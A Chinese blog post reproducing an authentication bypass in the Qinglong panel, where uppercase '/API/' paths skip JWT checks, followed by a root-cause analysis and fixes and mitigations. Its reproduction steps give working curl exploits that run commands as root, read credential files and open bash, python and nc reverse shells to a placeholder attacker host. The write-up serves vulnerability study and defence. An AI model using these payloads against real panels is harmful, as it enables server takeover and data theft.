联系方式 & 交流群

微信: gzs-47

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：本文发布于 2026 年 2 月，距今已近 5 个月。青龙面板该鉴权绕过漏洞在新版本中大概率已修复，当前可用性存疑。本文保留仅供漏洞复现学习参考，文中使用 Docker 部署的是历史漏洞版本。

使用 Docker 部署漏洞版本#

docker run -d
-p 5700<5700>
-v $(pwd)/data:/ql/data
–name qinglong
whyour/qinglong<2>.20.1

访问面板#

http://localhost:5700 #

1
### 2. 验证环境
2

3
```bash
4
# 检查版本
5
curl http://localhost:5700/api/system/version
6

7
# 预期输出
8
{"data":"2.20.1","code":200}

💥 漏洞复现#

步骤 1: 验证鉴权绕过#

正常情况（需要认证）：

1
# 直接访问 /api/ 路径会被拦截
2
curl -X PUT "http://localhost:5700/api/system/command-run" \
3
  -H "Content-Type: application/json" \
4
  -d '{"command": "id"}'
5

6
# 响应：401 Unauthorized
7
{"code":401,"message":"未授权访问"}

利用大小写绕过：

1
# 使用 /API/ (大写) 绕过鉴权
2
curl -X PUT "http://localhost:5700/API/system/command-run" \
3
  -H "Content-Type: application/json" \
4
  -d '{"command": "id"}'
5

6
# 响应：200 OK
7
{
8
  "code": 200,
9
  "data": "uid=0(root) gid=0(root) groups=0(root)"
10
}

步骤 2: 执行系统命令#

获取系统信息：

1
# 查看当前用户
2
curl -X PUT "http://localhost:5700/API/system/command-run" \
3
  -H "Content-Type: application/json" \
4
  -d '{"command": "whoami"}'
5

6
# 查看主机名
7
curl -X PUT "http://localhost:5700/API/system/command-run" \
8
  -H "Content-Type: application/json" \
9
  -d '{"command": "hostname"}'
10

11
# 查看环境变量
12
curl -X PUT "http://localhost:5700/API/system/command-run" \
13
  -H "Content-Type: application/json" \
14
  -d '{"command": "env"}'

读取敏感文件：

1
# 读取青龙配置文件
2
curl -X PUT "http://localhost:5700/API/system/command-run" \
3
  -H "Content-Type: application/json" \
4
  -d '{"command": "cat /ql/data/config/auth.json"}'
5

6
# 读取系统密码本 (需要 root 权限)
7
curl -X PUT "http://localhost:5700/API/system/command-run" \
8
  -H "Content-Type: application/json" \
9
  -d '{"command": "cat /etc/passwd"}'

步骤 3: 获取 Shell#

反弹 Shell：

1
# Bash 反弹
2
curl -X PUT "http://localhost:5700/API/system/command-run" \
3
  -H "Content-Type: application/json" \
4
  -d '{"command": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}'
5

6
# Python 反弹
7
curl -X PUT "http://localhost:5700/API/system/command-run" \
8
  -H "Content-Type: application/json" \
9
  -d '{"command": "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\"ATTACKER_IP\"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"\"/bin/sh\"\",\"\"-i\"\"]);\""}'
10

11
# NC 反弹
12
curl -X PUT "http://localhost:5700/API/system/command-run" \
13
  -H "Content-Type: application/json" \
14
  -d '{"command": "nc -e /bin/sh ATTACKER_IP 4444"}'

🔍 技术细节分析#

1. Express 路由大小写不敏感#

Express 框架默认对路由大小写不敏感：

1
const express = require('express');
2
const app = express();
3

4
app.get('/api/test', (req, res) => {
5
    res.send('Hello');
6
});
7

8
// 以下请求都能匹配到上述路由
9
// GET /api/test      ✓
10
// GET /API/test      ✓
11
// GET /Api/test      ✓
12
// GET /aPi/TeSt      ✓

这是 Express 的默认行为，可以通过 app.set('case sensitive routing', true) 启用大小写敏感。

2. 鉴权中间件逻辑漏洞#

问题代码：

1
app.use((req, res, next) => {
2
    // 白名单路径，不需要鉴权
3
    if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
4
        return next();  // 跳过 JWT 校验
5
    }
6

7
    // 验证 JWT 令牌
8
    const token = req.headers.authorization;
9
    if (!verifyToken(token)) {
10
        return res.status(401).json({ code: 401, message: '未授权' });
11
    }
12

13
    next();
14
});

绕过原理：

1
请求路径：/API/system/command-run
2

3
1. req.path = '/API/system/command-run'
4
2. req.path.startsWith('/api/') = false  ← 大小写不匹配
5
3. 条件为真，执行 next()  ← 跳过 JWT 校验
6
4. Express 路由匹配：/API/ → /api/  ← 大小写不敏感，成功匹配
7
5. 执行命令执行接口 ← 未授权访问成功

3. 可利用 API 接口#

青龙面板提供多个危险 API 接口：

接口路径	功能	危险等级
`/api/system/command-run`	执行系统命令	🔴 严重
`/api/env`	管理环境变量	🟠 高
`/api/repo`	管理仓库	🟠 高
`/api/subscription`	管理订阅	🟡 中
`/api/user`	用户管理	🟠 高

🛡️ 防御建议#

1. 官方修复方案#

修复鉴权逻辑：

1
// 修复后：使用正则忽略大小写
2
const authPaths = [/^\/open\//i, /^\/api\//i];
3

4
app.use((req, res, next) => {
5
    if (!authPaths.some((pattern) => pattern.test(req.path))) {
6
        return next();
7
    }
8

9
    // 验证 JWT 令牌
10
    const token = req.headers.authorization;
11
    if (!verifyToken(token)) {
12
        return res.status(401).json({ code: 401, message: '未授权' });
13
    }
14

15
    next();
16
});

启用大小写敏感路由：

1
const app = express();
2
app.set('case sensitive routing', true);  // 启用大小写敏感
3

4
// 现在 /API/ 和 /api/ 是两个不同的路由

2. 临时缓解措施#

方案 1: 反向代理过滤

1
# Nginx 配置
2
location / {
3
    # 强制转换为小写
4
    set $lower_uri $uri;
5
    if ($uri ~* ^/(API)/) {
6
        return 403;  # 拦截大写 API 路径
7
    }
8

9
    proxy_pass http://localhost:5700;
10
}

方案 2: WAF 规则

1
# ModSecurity 规则
2
SecRule REQUEST_URI "@rx (?i)/API/" \
3
    "id:1001,\
4
    phase:1,\
5
    deny,\
6
    status:403,\
7
    msg:'QL Panel Auth Bypass Attempt'"

3. 用户侧防护#

1
# 1. 限制访问来源
2
iptables -A INPUT -p tcp --dport 5700 -s 127.0.0.1 -j ACCEPT
3
iptables -A INPUT -p tcp --dport 5700 -j DROP
4

5
# 2. 使用强认证
6
# 修改默认密码
7
# 启用双因素认证 (如果支持)
8

9
# 3. 定期更新
10
docker pull whyour/qinglong:latest
11
docker restart qinglong
12

13
# 4. 监控日志
14
tail -f /ql/log/system.log | grep -E "(API|command|auth)"

📊 影响评估#

受影响版本#

版本	状态
2.20.1	❌ 受影响
2.20.0	❌ 可能受影响
2.19.x	⚠️ 待确认
< 2.19	⚠️ 待确认

潜在危害#

服务器完全沦陷 - 攻击者可执行任意命令
数据泄露 - 读取配置文件、数据库、密钥
内网渗透 - 以服务器为跳板攻击内网
挖矿/僵尸网络 - 植入恶意程序

攻击场景#

1
互联网扫描 → 发现 5700 端口 → 利用鉴权绕过 → 执行命令
2
    → 读取配置 → 获取数据库密码 → 数据泄露
3
    → 植入后门 → 持久化控制 → 内网横向移动

🔗 相关漏洞案例#

1. JWT 鉴权绕过常见手法#

手法	描述	案例
大小写绕过	`/API/` vs `/api/`	本文漏洞
路径遍历	`/..//api/`	CVE-2023-XXXX
编码绕过	URL 编码、Unicode	CVE-2022-XXXX
算法混淆	`alg: none`	JWT 经典漏洞

2. Node.js/Express 类似漏洞#

CVE-2024-29180: express-fileupload 路径遍历
CVE-2022-24999: Express 原型污染
CVE-2024-45590: app-html 包 RCE

📝 时间线#

日期	事件
2026-02-27	漏洞首次披露 (GitHub Issue #2934)
2026-02-28	漏洞细节公开
2026-02-28	本文发布
TBD	CVE 编号分配
TBD	官方修复版本发布

📚 参考资料#

🏷️ Tags#

#鉴权绕过 #RCE #青龙面板 #Node.js 安全 #Express #漏洞复现 #渗透测试

本文基于公开披露的漏洞信息编写，旨在提高安全意识。请合法使用安全技术。

音乐

音乐

使用 Docker 部署漏洞版本#

访问面板#

http://localhost:5700 #

💥 漏洞复现#

步骤 1: 验证鉴权绕过#

步骤 2: 执行系统命令#

步骤 3: 获取 Shell#

🔍 技术细节分析#

1. Express 路由大小写不敏感#

2. 鉴权中间件逻辑漏洞#

3. 可利用 API 接口#

🛡️ 防御建议#

1. 官方修复方案#

2. 临时缓解措施#

3. 用户侧防护#

📊 影响评估#

受影响版本#

潜在危害#

攻击场景#

🔗 相关漏洞案例#

1. JWT 鉴权绕过常见手法#

2. Node.js/Express 类似漏洞#

📝 时间线#

📚 参考资料#

🏷️ Tags#

文章分享

音乐

青龙面板鉴权绕过漏洞复现 - 从路径大小写到 RCE

使用 Docker 部署漏洞版本#

访问面板#

http://localhost:5700#

💥 漏洞复现#

步骤 1: 验证鉴权绕过#

步骤 2: 执行系统命令#

步骤 3: 获取 Shell#

🔍 技术细节分析#

1. Express 路由大小写不敏感#

2. 鉴权中间件逻辑漏洞#

3. 可利用 API 接口#

🛡️ 防御建议#

1. 官方修复方案#

2. 临时缓解措施#

3. 用户侧防护#

📊 影响评估#

受影响版本#

潜在危害#

攻击场景#

🔗 相关漏洞案例#

1. JWT 鉴权绕过常见手法#

2. Node.js/Express 类似漏洞#

📝 时间线#

📚 参考资料#

🏷️ Tags#

文章分享

http://localhost:5700 #